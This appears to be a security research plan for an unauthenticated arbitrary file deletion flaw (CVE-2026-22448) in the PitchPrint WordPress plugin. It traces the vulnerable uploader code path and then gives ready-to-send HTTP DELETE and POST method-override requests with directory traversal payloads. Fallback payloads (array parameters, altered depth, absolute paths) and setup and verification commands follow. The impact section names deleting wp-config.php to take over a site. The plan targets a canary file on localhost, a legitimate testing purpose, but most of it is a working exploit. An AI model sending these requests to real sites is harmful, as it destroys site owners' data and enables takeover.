Research Plan: PitchPrint Unauthenticated Arbitrary File Deletion (CVE-2026-22448)

The PitchPrint plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a path traversal vulnerability in its file upload handling logic. Specifically, the plugin includes a standalone implementation of the Blueimp jQuery-File-Upload library which does not enforce WordPress authentication and fails to validate the file path provided for deletion.

1. Vulnerability Summary

• Vulnerability: Unauthenticated Path Traversal leading to Arbitrary File Deletion.
• Location: wp-content/plugins/pitchprint/uploader/index.php and its associated handler uploader/UploadHandler.php.
• Root Cause: The standalone script uploader/index.php instantiates a UploadHandler object. This handler responds to HTTP DELETE requests (or POST requests with a _method=DELETE parameter) by calling unlink() on a path constructed from user-supplied input without sanitizing for directory traversal (..).
• Impact: An unauthenticated attacker can delete any file accessible to the web server user, including wp-config.php, which can lead to site takeover (via re-installation) or DoS.

2. Attack Vector Analysis

• Endpoint: http://<target>/wp-content/plugins/pitchprint/uploader/index.php
• HTTP Method: DELETE
• Target Parameter: file (query string parameter)
• Payload: Directory traversal sequence (e.g., ../../../../../wp-config.php)
• Authentication: None required. The script is standalone and does not include wp-load.php.

3. Code Flow

1. Entry Point: A request is sent to uploader/index.php.
2. Initialization: index.php includes UploadHandler.php and executes $upload_handler = new UploadHandler();.
3. Dispatcher: The UploadHandler::__construct() calls $this->initialize(); by default.
4. Method Handling: The initialize() method inspects $_SERVER['REQUEST_METHOD']. If it is DELETE, it calls $this->delete().
5. Parameter Extraction: $this->delete() retrieves the filename from the request using $this->get_file_name_param(), which typically pulls from $_GET['file'].
6. Path Construction: The handler builds the absolute path: $file_path = $this->options['upload_dir'] . $file_name;.
7. Sink: The handler calls unlink($file_path);. If $file_name contains ../../, it traverses out of the intended files/ directory.

4. Nonce Acquisition Strategy

No nonce is required.
The script wp-content/plugins/pitchprint/uploader/index.php is a standalone PHP file that does not load the WordPress environment. Consequently, it has no access to WordPress session data or nonce verification functions (wp_verify_nonce, check_ajax_referer).

5. Exploitation Strategy

Step 1: Verification of Endpoint

Send a GET request to the uploader endpoint to ensure it exists and is responsive.

GET /wp-content/plugins/pitchprint/uploader/index.php HTTP/1.1
Host: localhost

A successful response (usually an empty JSON array [] or a list of files) confirms the library is active.

Step 2: File Deletion Payload

Send a DELETE request targeting a specific file. For testing, we will delete a canary file.

Path Math:
The default upload_dir is defined as:
dirname($this->get_server_var('SCRIPT_FILENAME')) . '/files/'

• Script: /var/www/html/wp-content/plugins/pitchprint/uploader/index.php
• Base Dir: /var/www/html/wp-content/plugins/pitchprint/uploader/
• Upload Dir: /var/www/html/wp-content/plugins/pitchprint/uploader/files/

To reach the root (/var/www/html/):

1. .. -> uploader/
2. .. -> pitchprint/
3. .. -> plugins/
4. .. -> wp-content/
5. .. -> root directory

Request:

DELETE /wp-content/plugins/pitchprint/uploader/index.php?file=../../../../../canary.txt HTTP/1.1
Host: localhost
Accept: application/json

Alternative (Method Override):
If the server blocks DELETE verbs:

POST /wp-content/plugins/pitchprint/uploader/index.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

_method=DELETE&file=../../../../../canary.txt

6. Test Data Setup

1. Create a dummy file in the WordPress root:
   wp eval "file_put_contents(ABSPATH . 'canary.txt', 'deleted');"
2. Verify the file exists:
   ls /var/www/html/canary.txt

7. Expected Results

• HTTP Response: 200 OK
• Body: JSON object indicating success, e.g., {"../../../../../canary.txt":true} or {"files":[{"../../../../../canary.txt":true}]}.
• Side Effect: The file canary.txt is removed from the server's filesystem.

8. Verification Steps

After sending the exploit request, verify the file is gone using WP-CLI:

wp eval "echo file_exists(ABSPATH . 'canary.txt') ? 'Failed' : 'Success';"

9. Alternative Approaches

If ?file= fails, the library might be configured to expect an array:

• DELETE /wp-content/plugins/pitchprint/uploader/index.php?files[]=../../../../../canary.txt

If the upload_dir is not /files/ but the directory itself, reduce the traversal depth by 1:

• file=../../../../canary.txt

If the plugin implements the [0] !== '.' check (blocking ../), try absolute paths:

• file=/var/www/html/canary.txt
  (Note: Many Linux PHP environments will resolve .../uploader/files//var/www/html/canary.txt to the absolute path correctly).